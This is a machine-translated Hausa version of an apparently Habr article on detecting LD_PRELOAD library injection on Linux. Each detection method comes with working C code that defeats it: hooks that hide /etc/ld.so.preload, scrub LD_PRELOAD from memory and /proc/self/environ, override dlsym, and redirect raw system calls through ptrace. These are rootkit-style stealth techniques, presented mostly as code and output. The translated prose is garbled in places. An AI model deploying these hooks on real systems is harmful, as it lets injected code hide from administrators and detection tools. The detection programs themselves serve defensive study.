Neman LD_PRELOAD

An rubuta wannan bayanin a cikin 2014, amma kawai na shiga cikin danniya akan Habré kuma bai ga hasken rana ba. A lokacin haramcin na manta da shi, amma yanzu na same shi a cikin zane. Na yi tunanin share shi, amma watakila zai zama da amfani ga wani.

Neman LD_PRELOAD

Gabaɗaya, ɗan ƙaramin juma'a admin yana karanta kan batun neman “haɗe” LD_PRELOAD.

1. A takaice digression ga waɗanda ba su saba da aiki musanya

Sauran na iya tafiya kai tsaye zuwa ..2.

Bari mu fara da misali na gargajiya:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
  srand (time(NULL));
  for(int i=0; i<5; i++){
    printf ("%dn", rand()%100);
  }
}

Muna tattara ba tare da tutoci ba:

$ gcc ./ld_rand.c -o ld_rand

Kuma, kamar yadda aka zata, muna samun bazuwar lambobi 5 kasa da 100:

$ ./ld_rand
53
93
48
57
20

Amma bari mu yi tunanin cewa ba mu da lambar tushe na shirin, amma muna bukatar mu canza hali.

Bari mu ƙirƙiri namu ɗakin karatu tare da samfurin aikin namu, misali:

int rand(){
  return 42;
}

$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so

Kuma yanzu zaɓinmu na bazuwar abu ne mai iya tsinkaya:

# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42

Wannan dabarar ta fi ban sha'awa idan muka fara fitar da ɗakin karatu ta hanyar

$ export LD_PRELOAD=$PWD/ld_rand.so

ko za mu fara yi

# echo "$PWD/ld_rand.so" > /etc/ld.so.preload

sannan a gudanar da shirin kamar yadda aka saba. Ba mu canza layi ɗaya na lamba a cikin shirin kanta ba, amma halinsa yanzu ya dogara da ƙaramin aiki a ɗakin karatu na mu. Haka kuma, a lokacin rubuta shirin, da Rand bai ma wanzu ba.

Me yasa shirin mu yayi amfani da karya Rand? Bari mu dauki shi mataki-mataki.
Lokacin da aikace-aikacen ya fara, ana loda wasu ɗakunan karatu waɗanda ke ɗauke da ayyukan da shirin ke buƙata. Za mu iya duba su ta amfani da ld:

# ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffc8b1f3000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)

Wannan jeri na iya bambanta dangane da sigar OS, amma dole ne a sami fayil a wurin libc.so. Wannan ɗakin karatu ne ke ba da kiran tsarin da ayyuka na asali kamar bude, malloc, bugawa da sauransu namu Rand yana cikin su ma. Bari mu tabbatar da wannan:

# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand

Bari mu ga ko saitin ɗakunan karatu yana canzawa lokacin amfani da shi LD_PRELOAD

# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffea52ae000)
        /scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)

Yana nuna an saita m LD_PRELOAD tilasta mana lodi ld_rand.so duk da cewa shi kansa shirin baya bukatarsa. Kuma tun da aikin mu "rand" lodi a baya fiye da Rand daga libc.so, sai ta yi sarauta.

Ok, mun sami nasarar maye gurbin aikin ɗan ƙasa, amma ta yaya za mu iya tabbatar da cewa an adana ayyukansa kuma an ƙara wasu ayyuka. Mu gyara bazuwar mu:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
 
typedef int (*orig_rand_f_type)(void);
 
int rand()
{
  /* Выполняем некий код */
  printf("Evil injected coden");
  
  orig_rand_f_type orig_rand;
  orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
  return orig_rand();
}

Anan, a matsayin "ƙarin", muna buga layi ɗaya kawai na rubutu, bayan haka mun ƙirƙiri mai nuni ga ainihin aikin. Rand. Don samun adireshin wannan aikin muna buƙatar dlsym aiki ne daga ɗakin karatu libdlwanda zai same mu Rand a cikin tarin ɗakunan karatu masu ƙarfi. Bayan haka za mu kira wannan aikin kuma mu mayar da darajarsa. Dangane da haka, za mu buƙaci ƙarawa "-ldl" a lokacin taro:

$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so

$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Evil injected code
66
Evil injected code
28
Evil injected code
93
Evil injected code
93
Evil injected code
95

Kuma shirin namu yana amfani da "yan ƙasa" Rand, kasancewar a baya ya aikata wasu ayyukan batsa.

2. Zafin nema

Sanin game da yiwuwar barazana, muna so mu gano hakan bugu da kari Anyi shi. A bayyane yake cewa hanya mafi kyau don ganowa ita ce tura shi cikin kwaya, amma ina sha'awar zaɓuɓɓukan ganowa a cikin sararin mai amfani.

Bayan haka, mafita don ganowa da karyata su za su zo biyu.

2.1. Bari mu fara sauki

Kamar yadda aka ambata a baya, zaku iya saka ɗakin karatu don lodawa ta amfani da maballin LD_PRELOAD ko ta hanyar rubuta shi a cikin fayil /etc/ld.so.preload. Bari mu ƙirƙiri na'urori masu sauƙi guda biyu.

Na farko shi ne duba yanayin canjin yanayi da aka saita:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int main()
{
  char*  pGetenv = getenv("LD_PRELOAD");
  pGetenv != NULL ?
    printf("LD_PRELOAD (getenv) [+]n"):
    printf("LD_PRELOAD (getenv) [-]n");
}

Na biyu shine duba ko an buɗe fayil ɗin:

#include <stdio.h>
#include <fcntl.h>

int main()
{
  open("/etc/ld.so.preload", O_RDONLY) != -1 ?
    printf("LD_PRELOAD (open) [+]n"):
    printf("LD_PRELOAD (open) [-]n");
}

Mu loda dakunan karatu:

$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload

$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]

Anan da ƙasa, [+] yana nuna nasarar ganowa.
Saboda haka, [-] yana nufin wucewar ganowa.

Yaya tasiri irin wannan na'urar ganowa? Bari mu fara fara duba canjin yanayi:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>

char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
    if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
    if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
    return orig_getenv(name);
}

$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]

Hakazalika, muna kawar da rajistan bude:

#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>

int (*orig_open)(const char*, int oflag) = NULL;

int open(const char *path, int oflag, ...)
{
    char real_path[256];
    if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0){
        errno = ENOENT;
        return -1;
    }
    return orig_open(path, oflag);
}

$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]

Ee, ana iya amfani da wasu hanyoyin shiga fayil ɗin anan, kamar, bude64, jihar da dai sauransu, amma, a gaskiya, ana buƙatar layi na 5-10 iri ɗaya don yaudarar su.

2.2. Mu ci gaba

A sama mun yi amfani getenv() don samun darajar LD_PRELOAD, amma akwai kuma ƙarin hanyar "ƙananan matakin" don zuwa ENV- masu canzawa. Ba za mu yi amfani da ayyuka na tsaka-tsaki ba, amma za mu koma ga tsararru ** muhalli, wanda ke adana kwafin muhalli:

#include <stdio.h>
#include <string.h>

extern char **environ;
int main(int argc, char **argv) {
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++)
    {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL)
      {
        printf("LD_PRELOAD (**environ) [+]n");
        return 0;
      }
    }
  printf("LD_PRELOAD (**environ) [-]n");
  return 0;
}

Tunda a nan muna karanta bayanai kai tsaye daga ƙwaƙwalwar ajiya, ba za a iya kama irin wannan kiran ba, kuma namu undetect_getenv baya tsoma baki tare da gano kutsen.

$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]

Da alama an warware wannan matsalar? Har yanzu an fara.

Bayan an fara shirin, ƙimar canjin LD_PRELOAD Hackers ba sa buƙatar shi a ƙwaƙwalwar ajiya, wato, suna iya karanta shi kuma su goge shi kafin aiwatar da kowane umarni. Tabbas, gyara tsararru a cikin ƙwaƙwalwar ajiya, aƙalla, mummunan salon shirye-shirye ne, amma ta yaya wannan zai iya dakatar da wanda ba ya yi mana fatan alheri ko ta yaya?

Don yin wannan muna buƙatar ƙirƙirar namu aikin karya init(), a cikin abin da muke tsangwama da shigar LD_PRELOAD sannan ku mika shi ga mahaliccin mu:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;


// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));

  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD
        unsetenv(env);
        break;
      }
    }
}

int execve(const char *path, char *const argv[], char *const envp[])
{
  int i = 0, j = 0, k = -1, ret = 0;
  char** new_env;
  if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");

  // Проверям не существует ли других установленных LD_PRELOAD
  for(i = 0; envp[i]; i++){
    if(strstr(envp[i], "LD_PRELOAD")) k = i;
  }
  // Если LD_PRELOAD не было установлено до нас, то добавим его
  if(k == -1){
    k = i;
    i++;
  }
  // Создаём новое окружение
  new_env = (char**) malloc((i+1)*sizeof(char*));

  // Копируем старое окружение, за исключением LD_PRELOAD
  for(j = 0; j < i; j++) {
    // перезаписываем или создаём LD_PRELOAD
    if(j == k) {
      new_env[j] = (char*) malloc(256);
      strcpy(new_env[j], "LD_PRELOAD=");
      strcat(new_env[j], evil_env);
    }
    else new_env[j] = (char*) envp[j];
  }
  new_env[i] = NULL;
  ret = orig_execve(path, argv, new_env);
  free(new_env[k]);
  free(new_env);
  return ret;
}

Muna aiwatar da dubawa:

$ gcc -shared -fpic -ldl -Wl,-init,evil_init  ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]

2.3. /proc/kai/

Koyaya, ƙwaƙwalwar ajiya ba shine wuri na ƙarshe ba inda zaku iya samun canji LD_PRELOAD, akwai kuma /proc/. Bari mu fara da bayyane /proc/{PID}/muhalli.

A gaskiya ma, akwai mafita na duniya don ba a gano ba ** muhalli и /proc/self/environ. Matsalar ita ce halin "ba daidai ba". unsetenv (env).

daidai zaɓi

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));
 
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD 
        //unsetenv(env);
        // Вместо unset просто обнулим нашу переменную
        for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
        break;
      }
    }
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init  ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

Amma bari mu yi tunanin cewa ba mu same shi ba kuma /proc/self/environ ya ƙunshi bayanan "matsala".

Da farko bari mu gwada tare da "ɓangarorin mu" na baya:

$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so

cat yana amfani da iri ɗaya don buɗe fayil ɗin bude(), don haka bayani yayi kama da abin da aka riga aka yi a cikin sashe na 2.1, amma yanzu mun ƙirƙiri fayil na wucin gadi inda muka kwafi ƙimar ƙwaƙwalwar ajiyar gaskiya ba tare da layi ba. LD_PRELOAD.

#define _GNU_SOURCE
#include <dlfcn.h>

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>

#define BUFFER_SIZE 256

int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";

char *sstrstr(char *str, const char *sub)
{
  int i, found;
  char *ptr;
  found = 0;
  for(ptr = str; *ptr != ' '; ptr++) {
    found = 1;
    for(i = 0; found == 1 && sub[i] != ' '; i++){
      if(sub[i] != ptr[i]) found = 0;
    }
    if(found == 1)
      break;
  }
  if(found == 0)
    return NULL;
  return ptr + i;
}

void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
  int fd;
  char buffer[BUFFER_SIZE];
  int bytes = -1;
  int wbytes = -1;
  int k = 0;

  pid_t pid = getpid();

  int fh;
  if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
    printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
    exit (42);
  }
  if((fd=orig_open(original_path, O_RDONLY))==-1) {
    printf("LD: Cannot open read-file.n");
    exit(42);
  }
  do
  {
    char t = 0;
    bytes = read(fd, &t, 1);
    buffer[k++] = t;
    //printf("%c", t);
    if(t == ' ') {
      //printf("n");
  
      if(!sstrstr(buffer, "LD_PRELOAD")) {
        if((wbytes = write(fh,buffer,k))==-1) {
          //printf("write errorn");
        }
        else {
          //printf("writed %dn", wbytes);
        }
      }
      k = 0;
    }
  }
  while(bytes != 0);
    
  close(fd);
  close(fh);
}

int open(const char *path, int oflag, ...)
{
  char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
  pid_t pid = getpid();
  if(!orig_open)
  orig_open = dlsym(RTLD_NEXT, "open");
  realpath(path, real_path);
  snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
  
  if(strcmp(real_path, proc_path) == 0) {
    snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
    realpath(proc_path_0, proc_path);
    
    fakeMaps(real_path, proc_path, soname);
    return orig_open(proc_path, oflag);
  }
  return orig_open(path, oflag);
}

Kuma an wuce wannan matakin:

$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

Wuri na gaba a bayyane shine /proc/self/maps. Babu ma'ana a zauna a kai. Maganin ya yi kama da na baya: kwafi bayanai daga fayil ɗin ban da layin tsakanin libc.so и ld.don haka.

2.4. Zaɓi daga Chokepoint

Na fi son wannan bayani don sauƙi. Muna kwatanta adiresoshin ayyukan da aka ɗora kai tsaye daga libc, da adiresoshin "NEXT".

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>

#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"

int main(int argc, char *argv[]) {
  void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
  char *syscall_open = "open";
  int i;
  void *(*libc_func)();
  void *(*next_func)();
  
  libc_func = dlsym(libc, syscall_open);
  next_func = dlsym(RTLD_NEXT, syscall_open);
  if (libc_func != next_func) {
    printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
    printf("Libc address: %pn", libc_func);
    printf("Next address: %pn", next_func);
  }
  else {
    printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
  }
  return 0;
}

Ana loda ɗakin karatu tare da tsangwama "bude()" kuma duba:

$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135

Karyata ta zama mafi sauki:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>

extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
  return _dl_sym (handle, symbol, dlsym);
}

# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]

2.5. Sikalar

Da alama wannan duka ne, amma za mu ci gaba da yawo. Idan muka jagoranci kiran tsarin kai tsaye zuwa kernel, wannan zai ketare duk tsarin shiga tsakani. Maganin da ke ƙasa shine, ba shakka, dogara ga gine-gine (x86_64). Bari mu yi ƙoƙarin aiwatar da shi don gano buɗewa ld.so.preload.

#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BUFFER_SIZE 256

int syscall_open(char *path, long oflag)
{
    int fd = -1;
    __asm__ (
             "mov $2, %%rax;" // Open syscall number
             "mov %1, %%rdi;" // Address of our string
             "mov %2, %%rsi;" // Open mode
             "mov $0, %%rdx;" // No create mode
             "syscall;"       // Straight to ring0
             "mov %%eax, %0;" // Returned file descriptor
             :"=r" (fd)
             :"m" (path), "m" (oflag)
             :"rax", "rdi", "rsi", "rdx"
             );
    return fd;
 }
int main()
{
    syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
      printf("LD_PRELOAD (open syscall) [+]n"):
      printf("LD_PRELOAD (open syscall) [-]n");
        
}

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]

Kuma wannan matsalar tana da mafita. An karbo daga mutumin'A:

ptrace kayan aiki ne wanda ke ba da damar tsarin iyaye don lura da sarrafa ci gaban wani tsari, dubawa da canza bayanan sa da yin rajista. Yawanci ana amfani da wannan aikin don ƙirƙirar wuraren ɓarna a cikin shirin gyara kurakurai da saka idanu akan kiran tsarin.

Tsarin iyaye na iya fara ganowa ta hanyar kiran cokali mai yatsa (2), sannan sakamakon tsarin yaro zai iya aiwatar da PTRACE_TRACEME, bi (yawanci) ta aiwatar da aiwatarwa (3). A gefe guda, tsarin iyaye na iya fara gyara wani tsari na yanzu ta amfani da PTRACE_ATTACH.

Lokacin ganowa, tsarin yaron yana tsayawa a duk lokacin da ya sami sigina, ko da an yi watsi da siginar. (banda shine SIGKILL, wanda ke aiki akai-akai.) Za a sanar da tsarin iyaye game da wannan ta hanyar kiran jira (2), bayan haka zai iya duba da kuma gyara abubuwan da ke cikin tsarin yaro kafin ya fara. Tsarin iyaye sai ya ba yaron damar ci gaba da gudu, a wasu lokuta watsi da siginar da aka aika masa ko aika wani sigina maimakon).

Don haka, mafita ita ce saka idanu akan tsari, dakatar da shi kafin kowane kiran tsarin kuma, idan ya cancanta, tura zaren zuwa aikin ƙugiya.

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>


#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip 
#endif

long NOHOOK = 0;

long evil_open(const char *path, long oflag, long cflag) 
{
    char real_path[PATH_MAX], maps_path[PATH_MAX];
    long ret;
    pid_t pid;
    pid = getpid();
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0)
    {
        errno = ENOENT;
        ret = -1;
    }
    else
    {
        NOHOOK = 1; // Entering NOHOOK section
        ret = open(path, oflag, cflag);
    }
    // Exiting NOHOOK section
    NOHOOK = 0;
    return ret;
}

void init()
{
    pid_t program;
    // Форкаем дочерний процесс
    program = fork();
    if(program != 0) {
        int status;
        long syscall_nr;
        struct user_regs_struct regs;
        // Подключаемся к дочернему процессу
        if(ptrace(PTRACE_ATTACH, program) != 0) {
            printf("Failed to attach to the program.n");
            exit(1);
        }
        waitpid(program, &status, 0);
        // Отслеживаем только SYSCALLs
        ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
        while(1) {
            ptrace(PTRACE_SYSCALL, program, 0, 0);
            waitpid(program, &status, 0);
            if(WIFEXITED(status) || WIFSIGNALED(status)) break;
            else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
                // Получаем номер системного вызова
                syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
                if(syscall_nr == __NR_open) {
                    // Читаем слово из памяти дочернего процесса
                    NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
                    // Перехватываем вызов
                    if(!NOHOOK) {
                        
                        // Копируем регистры дочернего процесса
                        // в переменную regs родительского
                        ptrace(PTRACE_GETREGS, program, 0, &regs);
                        // Push return address on the stack
                        regs.REG_SP -= sizeof(long);
                        // Копируем слово в память дочернего процесса
                        ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
                        // Устанавливаем RIP по адресу evil_open
                        regs.REG_IP = (unsigned long) evil_open;
                        // Записываем состояние регистров процесса
                        ptrace(PTRACE_SETREGS, program, 0, &regs);
                    }
                }
                ptrace(PTRACE_SYSCALL, program, 0, 0);
                waitpid(program, &status, 0);
            }
        }
        exit(0);
    }
    else {
        sleep(0);
    }
}

Binciken:

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]

+0-0=5

Godiya da yawa

Charles Hubain
Chokepoint
ValdikSS
Philippe Teuwen
derhass

, wanda labarinsa, tushensa da sharhi ya yi yawa fiye da yadda na yi don sanya wannan bayanin ya bayyana a nan.

source: www.habr.com

Add a comment